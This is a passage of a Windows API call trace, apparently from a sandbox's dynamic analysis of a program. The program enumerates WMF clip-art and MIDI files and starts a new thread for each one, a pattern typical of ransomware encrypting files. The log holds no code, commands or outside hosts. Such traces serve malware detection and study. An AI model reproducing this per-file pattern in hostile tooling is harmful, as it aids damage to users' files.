	[0253.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d0
	[0253.539] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.540] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1436bc00, ftCreationTime.dwHighDateTime=0x1bd4be4, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1436bc00, ftLastWriteTime.dwHighDateTime=0x1bd4be4, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1
	[0253.540] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d4
	[0253.542] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.543] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be44f00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3be44f00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1
	[0253.545] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27d8
	[0253.720] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.720] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325ae700, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x325ae700, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1
	[0253.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x276c
	[0253.723] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.723] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e16ea00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e16ea00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1
	[0253.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25e4
	[0253.725] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.726] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a836300, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a836300, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1
	[0253.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x272c
	[0253.728] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.728] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16efdc00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16efdc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1
	[0253.729] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e8
	[0253.730] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.731] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3963e00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3963e00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1
	[0253.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27ec
	[0253.733] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.733] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7d7f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e7d7f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1
	[0253.733] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2768
	[0253.736] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.736] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9503b100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9503b100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1
	[0253.736] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2728
	[0253.738] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.739] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937fbc00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x937fbc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1
	[0253.739] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2778
	[0253.740] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.741] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8793fa00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8793fa00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1
	[0253.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2780
	[0253.743] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.743] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1
	[0253.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x277c
	[0253.745] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.746] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34c8c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe34c8c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1
	[0253.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2798
	[0253.747] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.748] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1
	[0253.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2788
	[0253.750] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.750] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d32800, ftCreationTime.dwHighDateTime=0x1bd4c4e, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6d32800, ftLastWriteTime.dwHighDateTime=0x1bd4c4e, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1
	[0253.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2784
	[0253.752] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.753] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1
	[0253.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278c
	[0253.833] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.834] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x430c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02791_.WMF", cAlternateFileName="")) returned 1
	[0253.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2794
	[0253.836] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.836] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b70, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02793_.WMF", cAlternateFileName="")) returned 1
	[0253.837] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2790
	[0253.838] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.839] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b7a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02794_.WMF", cAlternateFileName="")) returned 1
	[0253.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2774
	[0253.841] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.841] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1262e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02862_.WMF", cAlternateFileName="")) returned 1
	[0253.841] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2770
	[0253.843] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.844] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x967a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02886_.WMF", cAlternateFileName="")) returned 1
	[0253.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a8
	[0253.846] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.847] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO02958_.WMF", cAlternateFileName="")) returned 1
	[0253.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a4
	[0253.849] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.850] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x107b, dwReserved0=0x72, dwReserved1=0x0, cFileName="SPACE_01.MID", cAlternateFileName="")) returned 1
	[0253.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a0
	[0253.852] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.853] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SPRNG_01.MID", cAlternateFileName="")) returned 1
	[0253.853] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27ac
	[0253.855] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.856] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x72, dwReserved1=0x0, cFileName="STUBBY1.WMF", cAlternateFileName="")) returned 1
	[0253.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27dc
	[0253.858] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.858] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x72, dwReserved1=0x0, cFileName="STUBBY2.WMF", cAlternateFileName="")) returned 1
	[0253.859] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f520930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e4
	[0253.860] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.861] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x36dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SUMER_01.MID", cAlternateFileName="")) returned 1
